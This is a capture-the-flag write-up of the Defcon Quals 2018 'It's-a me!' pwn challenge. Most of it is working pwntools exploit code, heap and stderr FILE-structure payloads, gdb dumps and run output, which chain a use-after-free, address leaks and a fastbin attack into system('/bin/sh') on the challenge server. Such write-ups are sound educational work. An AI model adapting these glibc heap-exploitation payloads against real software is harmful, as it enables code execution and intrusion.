Defcon Quals 2018 - It’s-a me!

‘We told you it was a bad idea.’ — The Italians (and every reasonable person)

83b1db91.quals2018.oooverflow.io:31337

Team: Samurai

Attachment: mario xpl.py libc.so.6 pow.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
Wellcom my friende!! It's-a me, Mario! Ready for pizza italiana vera?
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: N
Hello, what's your name? abc
>> Welcome abc
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: O
>> how many pizzas? 1
Ordering pizza #1
>> how many ingredients? 1 
Tell me ingridient #1: 10
Order is complete, thanks!
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: C
Before I start cooking your pizzas, do you have anything to declare? Please explain: abc
-------- COOKING PIZZA #1 --------
Adding ingredient: 10
Cooked new pizza:
BadPizza: 10
found non-approved pizzas. come on.

So, it’s Mario, ready for some serious pizza cooking.

aegis and some other people already reversed most of the binary, when I joined the challenge, so I just went from there, picked up the available information and created an exploit for it.

When we order a pizza containing only “valid” ingredients and cook it, Mario will ask us for a declaration. It will then allocate a buffer with the length of the declaration we came up with. When the pizza is approved, this declaration buffer will get freed.

We can use this, to define how big the chunk should be, that gets allocated (and it also gives us some control over, where the chunk will be allocated on the heap, if we maintain an overview over the freed chunks on the heap).

But, when we order a pizza with pineapples on it, Mario will get angry at us and asks for an explanation, why we did such a criminal thing and ban us afterwards.

The trick here is to get to both code parts, such as cooking a criminal pizza, so Mario will be asking us for an explanation as well as cooking only valid pizzas, so Mario will free the declaraion buffer for us (so we can fill it with our explanation for the criminal pizza).

aegis pointed out, this can be achieved by cooking 16 pineapple pizzas and 1 tomato pizza:

log.info("Order pineapple pizzas to get this user banned")

for i in range(16):
	order_pizza(1, [["\xf0\xff\xf0\x9f", "\x8d\x8d", "\xf0\x9f\x8d\x85"]])

order_pizza(1, [["\xf0\x9f\x8d\x85"]])
Before I start cooking your pizzas, do you have anything to declare? Please explain: $ Aa0Aa1Aa2Aa3A...
-------- COOKING PIZZA #1 --------
Adding ingredient: ����
Adding ingredient: \x8d\x8d
Adding ingredient: 🍅
Cooked new pizza:
CriminalPizza: ����\x8d\x8d🍅
HOW IS IT POSSIBLE??? 🍍 here?? How could this order get here? this pizza is criminal.
And this is the only thing you could say about your order: Aa0Aa1Aa2...
are you serious?
-------- COOKING PIZZA #2 --------
Adding ingredient: ����
Adding ingredient: \x8d\x8d
Adding ingredient: 🍅
Cooked new pizza:
CriminalPizza: ����\x8d\x8d🍅
HOW IS IT POSSIBLE??? 🍍 here?? How could this order get here? this pizza is criminal.
And this is the only thing you could say about your order: Aa0Aa1Aa2Aa...

...

are you serious?
-------- COOKING PIZZA #17 --------
Adding ingredient: 🍅
Cooked new pizza:
ApprovedPizza: 🍅
Molto bene, all cooked!
------------------- USER MENU -------------------
Mario upset. These are your choices:
(P)lease, Mario, hear me out. Let me explain
(Y)ou are right, putting pineapple on pizza is unforgivable. I'll go away and never come back.
Choice: mmm '9', what's that? I donn't understande, Mario confused
------------------- USER MENU -------------------
Mario upset. These are your choices:
(P)lease, Mario, hear me out. Let me explain
(Y)ou are right, putting pineapple on pizza is unforgivable. I'll go away and never come back.

If we now just back out, the declaration buffer will be freed (thus having a populated FD pointer at the start), and we’re able to leak it from the main menu, asking Mario, why he’s so angry.

r.recvuntil("Choice: ")

log.info("Create good user")

new_customer("B"*200)
leave()

log.info("Create first offending user")

new_customer("A"*200)

log.info("Order pineapple pizzas to get this user banned")

for i in range(16):
	order_pizza(1, [["\xf0\xff\xf0\x9f", "\x8d\x8d", "\xf0\x9f\x8d\x85"]])

order_pizza(1, [["\xf0\x9f\x8d\x85"]])

log.info("Cook offending pizza to free explanation buffer")
r.interactive()
cook_pizzas("X"*300)

log.info("Withdraw to get heap leak from mario (from freed explanation)")

r.sendline("Y")
r.recvuntil("Choice: ")
r.sendline("W")
r.recvuntil("say: ")
HEAPLEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))

log.info("HEAPLEAK               : %s" % hex(HEAPLEAK))
[*] Create good user
[*] Create first offending user
[*] Order pineapple pizzas to get this user banned
[*] Cook offending pizza to free explanation buffer
[*] Withdraw to get heap leak from mario (from freed explanation)
[*] HEAPLEAK               : 0x5555557746c0

Still, we would also like to know where libc is allocated. To achieve this, we’ll just create a criminal order again.

But this time, we only create a fastbin chunk size declaration, which will serve us a fastbin, that’s located above the current user chunk.

0x555555772e90:	0x0000000000000000	0x0000000000000021  <= free fastbin chunk
0x555555772ea0:	0x0000000000000000	0x0000555555773450
0x555555772eb0:	0x0000555555773450	0x0000000000000031
0x555555772ec0:	0x0000555555772c20	0x0000555555772d70
0x555555772ed0:	0x0000555555772ef0	0x00005555557744b0
0x555555772ee0:	0x0000000000000000	0x0000000000000051  <= current user
0x555555772ef0:	0x00005555557746d0	0x0000555555774dd0  <= current user name
0x555555772f00:	0x0000555555774f68	0x00005555557750d0
0x555555772f10:	0x0000000000000000	0x0000000000000000
0x555555772f20:	0x0000000000000000	0x0000000000000000
0x555555772f30:	0x0000000000000001	0x0000000000000031

If we now use the cooking trick again, the declaration buffer will be freed again, but since we’re still able to write into it. And since we can always enter 300 bytes for the explanation, we can overwrite the user chunk on the heap with this.

So we’ll just be putting a pointer into the name, pointing to a libc address currently lurking around on the heap.

log.info("Create another offending user")

new_customer("YAB")

log.info("Order pineapple pizzas to get this user banned")

for i in range(16):
	order_pizza(1, [["\xf0\xff\xf0\x9f", "\x8d\x8d", "\xf0\x9f\x8d\x85"]])

order_pizza(1, [["\xf0\x9f\x8d\x85"]])

log.info("Cook pizzas to create free fastbin chunk above user table")
	
cook_pizzas("A"*(0x21-0x10))
r.sendline("P")

log.info("Overwrite user name (of YAB) with a pointer to a libc address on the heap")
payload = p64(0x0) + p64(0)
payload += p64(0x0) + p64(0x31)	
payload += p64(HEAPLEAK - 0x1aa0) + p64(HEAPLEAK-0x1950)
payload += p64(HEAPLEAK - 0x17d0) + p64(HEAPLEAK-0x210)
payload += p64(0x0000000000000000) + p64(0x0000000000000051)	
payload += p64(HEAPLEAK + 0x18)                                  # username

r.sendline(payload)

log.info("Leak libc address from offending user")

r.recvuntil("Choice: ")
r.sendline("W")

r.recvuntil("friend ")
LIBCLEAK = u64(r.recvuntil(" ", drop=True).ljust(8, "\x00"))

libc.address = LIBCLEAK - 216 - 0x10 - libc.symbols["__malloc_hook"]

r.recvuntil("Choice: ")

log.info("LIBC leak              : %s" % hex(LIBCLEAK))
log.info("LIBC                   : %s" % hex(libc.address))

If we ask Mario now, why he’s offended, he’ll tell us, that our friend libc main_arena pointer has done something wrong:

your friend �����\x7f ordered a pizza with 🍍 and I should stay calm?
'That must be a mistake', you may say. But I asked, and this is what he had to say: 
niente scuse

Parsing this:

[*] Order pineapple pizzas to get this user banned
[*] Cook offending pizza to free explanation buffer
[*] Withdraw to get heap leak from mario (from freed explanation)
[*] HEAPLEAK               : 0x5555557746c0
[*] Create another offending user
[*] Order pineapple pizzas to get this user banned
[*] Cook pizzas to create free fastbin chunk above user table
[*] Overwrite user name (of YAB) with a pointer to a libc address on the heap
[*] Leak libc address from offending user
[*] LIBC leak              : 0x7ffff7839bf8
[*] LIBC                   : 0x7ffff7475000

So, now we have all needed leaks to start doing something useful.

We can now use the cooking trick to actually write into the already freed buffers, overwriting their FD pointer to create a fastbin attack.

For achieving the chunks being allocated in the right order, I went this way:

  • Prepare a user with an offending order (don’t cook it by now)
  • Login with another user, order and cook an offending order
    • Use size 0x70 for the declaration, which will then get freed giving us a 0x70 freed fastbin
    • Write a misaligned address into the FD of this chunk pointing above stderr
# Misaligned pointer into _nl_global_locale

0x7ffff783a4fd <_nl_global_locale+221>: 0xfff760395700007f	0x000000000000007f
0x7ffff783a50d:                         0x0000000000000000	0x0000000000000000
0x7ffff783a51d:                         0xfff783a540000000	0x000000000000007f
0x7ffff783a52d:                         0x0000000000000000	0x0000000000000000
0x7ffff783a53d:                         0x00fbad2087000000	0xfff783a5c3000000
0x7ffff783a54d <_IO_2_1_stderr_+13>:    0xfff783a5c300007f	0xfff783a5c300007f
0x7ffff783a55d <_IO_2_1_stderr_+29>:    0xfff783a5c300007f	0xfff783a5c300007f

If we use 0x7ffff783a4fd for overwriting the FD pointer of the currently freed 0x70 fastbin chunk, it will think that there’s a valid fastbin (with size 0x7f) on the next allocations.

Then, we’ll create another customer, which will just try to cook an invalid pizza (not criminal though) and also specifying a declaration of 0x70 size. This will allocate the currently freed fastbin chunk and putting its FD into fastbin list (which happens to be our misaligned pointer into _nl_global_locale).

gdb-peda$ p main_arena
$5 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x555555772eb0, 0x0, 0x0, 0x0, 0x7ffff783a4fd <_nl_global_locale+221>, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x555555777420, 
  last_remainder = 0x555555776e20,

Now, we’ll switch back to the user, which already placed his criminal order but didn’t cook it by now.

If we now cook this, the declaration can overwrite the stderr file structure. But we have to keep in mind, that we’re not allowed to put any null bytes there, since the binary will check the length of the declaration buffer with strlen first and only allocate that much space (so we won’t get that 0x70 buffer, if we used null bytes in it).

BUT in the explanation, why we cooked a criminal pizza, we’re allowed to just put 300 bytes there (no strlen or strcpy involved), so we can abuse that to get the final overwrite.

  • Cook the criminal order with a 0x70 declaration
    • This will now allocate a chunk overlapping stderr
    • The declaration buffer will get freed again
    • Put 0x70 As there via explanation to get the chunk right
  • Mario now asks us for an explanation (the buffer now points to the just freed declaration)
    • We’re now free to put 300 arbitrary bytes overwriting sdterr

Preparing this

log.info("Create another user and order offending pizzas")

new_customer("WAITER")

order_pizza(1, [["\xf0\xff\xf0\x9f", "\x8d\x8d", "\xf0\x9f\x8d\x85"]])
leave()

log.info("Login with first user (still good) and offend mario")
login("B"*200)

for i in range(16):
	order_pizza(1, [["\xf0\xff\xf0\x9f", "\x8d\x8d", "\xf0\x9f\x8d\x85"]])

order_pizza(1, [["\xf0\x9f\x8d\x85"]])

cook_pizzas("A"*(0x70-0x10))
	
log.info("Explanation buffer points to currently freed fastbin. Overwrite FD pointer to point above stderr _IO_file structure.")

r.sendline("P")

r.sendline(p64(libc.address + 0x3c54fd))

log.info("Create another customer and cook a pizza to allocate 0x70 fastbin to get fake FD pointer into fastbin list")

new_customer("A"*50)
cook_pizzas("A"*(0x70-0x10))
leave()
	
log.info("Login with user waiting with offending order")	

login("WAITER")

log.info("Cook offending order. This will alocate pointer to stderr and overwrite it with As")

cook_pizzas("A"*(0x70-0x10))

Mario will now be waiting for a proper explanation. Well, here’s our poor excuse for making him angry:

log.info("Use explanation to overwrite stderr _IO_file")
	
r.sendline("P")

payload = "A"*19
payload += p64(libc.address + 0x3c5540) + p64(0x0)
payload += p64(0x0) + p64(0x0)
payload += "/bin/sh\x00" + p64(1)                           # flags
payload += p64(2) + p64(3)
payload += p64(4) + p64(5)
payload += p64(6) + p64(7)
payload += p64(8) + p64(0)
payload += p64(0x0) + p64(0x0)
payload += p64(0x0) + p64(0x0)                              # fake _IO_file_jumps
payload += p64(0x0) + p64(0xffffffffffffffff)
payload += p64(0x0) + p64(libc.address + 0x3c6790)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc.address + 0x3c49c0) + p64(0)
payload += p64(0x0) + p64(0x0)
payload += p64(0x0) + p64(libc.symbols["system"])			
payload += p64(0x0) + p64(libc.address + 0x3c5608 - 0x60)	# fake _IO_file_jumps pointer

r.sendline(payload)

We’re overwriting the _IO_file struct for stderr, which will now look like this

gdb-peda$ x/30gx stderr
0x7ffff783a540 <_IO_2_1_stderr_>:      0x0068732f6e69622f	0x0000000000000001  <= flags ("/bin/sh")
0x7ffff783a550 <_IO_2_1_stderr_+16>:	0x0000000000000002	0x0000000000000003
0x7ffff783a560 <_IO_2_1_stderr_+32>:	0x0000000000000004	0x0000000000000005
0x7ffff783a570 <_IO_2_1_stderr_+48>:	0x0000000000000006	0x0000000000000007
0x7ffff783a580 <_IO_2_1_stderr_+64>:	0x0000000000000008	0x0000000000000000
0x7ffff783a590 <_IO_2_1_stderr_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff783a5a0 <_IO_2_1_stderr_+96>:	0x0000000000000000	0x0000000000000000  <= fake _IO_file_jumps
0x7ffff783a5b0 <_IO_2_1_stderr_+112>:	0x0000000000000000	0xffffffffffffffff
0x7ffff783a5c0 <_IO_2_1_stderr_+128>:	0x0000000000000000	0x00007ffff783b790
0x7ffff783a5d0 <_IO_2_1_stderr_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff783a5e0 <_IO_2_1_stderr_+160>:	0x00007ffff78399c0	0x0000000000000000
0x7ffff783a5f0 <_IO_2_1_stderr_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff783a600 <_IO_2_1_stderr_+192>:	0x0000000000000000	0x00007ffff74ba390  <= pointer to system
0x7ffff783a610 <_IO_2_1_stderr_+208>:	0x0000000000000000	0x00007ffff783a5a8  <= fake _IO_file_jumps pointer

Overwriting the address for _IO_file_jumps in stderr pointing back into itself (just reused the space to put the needed pointers in one write).

When we now exit the binary, it will try to clean up the open file handles, calling _IO_fflush on our stderr file struct.

This will try to call _IO_SYNC(fp) (which is _IO_file_jumps + 0x60), so it will call the function located at offset 0x60 from _IO_file_jumps (where we just put the address of system). fp points to the top of the _IO_file struct, where we put the string /bin/sh.

And this will finally just call system("/bin/sh")

log.info("Call exit to trigger _IO_flush which will call fake vtable+0x60 => system('/bin/sh')")

r.recvuntil("Choice: ")
r.sendline("E")
[*] '/vagrant/Challenges/dc18/mario/mario'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/vagrant/Challenges/dc18/mario/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 83b1db91.quals2018.oooverflow.io on port 31337: Done
[+] Starting local process './pow.py': pid 2130
[*] Stopped process './pow.py' (pid 2130)
[*] Create good user
[*] Create first offending user
[*] Order pineapple pizzas to get this user banned
[*] Cook offending pizza to free explanation buffer
[*] Withdraw to get heap leak from mario (from freed explanation)
[*] HEAPLEAK               : 0x5644af8576c0
[*] Create another offending user
[*] Order pineapple pizzas to get this user banned
[*] Cook pizzas to create free fastbin chunk above user table
[*] Overwrite user name (of YAB) with a pointer to a libc address on the heap
[*] Leak libc address from offending user
[*] LIBC leak              : 0x7f8999d87bf8
[*] LIBC                   : 0x7f89999c3000
[*] Create another user and order offending pizzas
[*] Login with first user (still good) and offend mario
[*] Explanation buffer points to currently freed fastbin. Overwrite FD pointer to point above stderr _IO_file structure.
[*] Create another customer and cook a pizza to allocate 0x70 fastbin to get fake FD pointer into fastbin list
[*] Login with user waiting with offending order
[*] Cook offending order. This will alocate pointer to stderr and overwrite it with As
[*] Use explanation to overwrite stderr _IO_file
[*] Call exit to trigger _IO_flush which will call fake vtable+0x60 => system('/bin/sh')
[*] Switching to interactive mode
Ooookay, ciao!
$ cat flag
OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}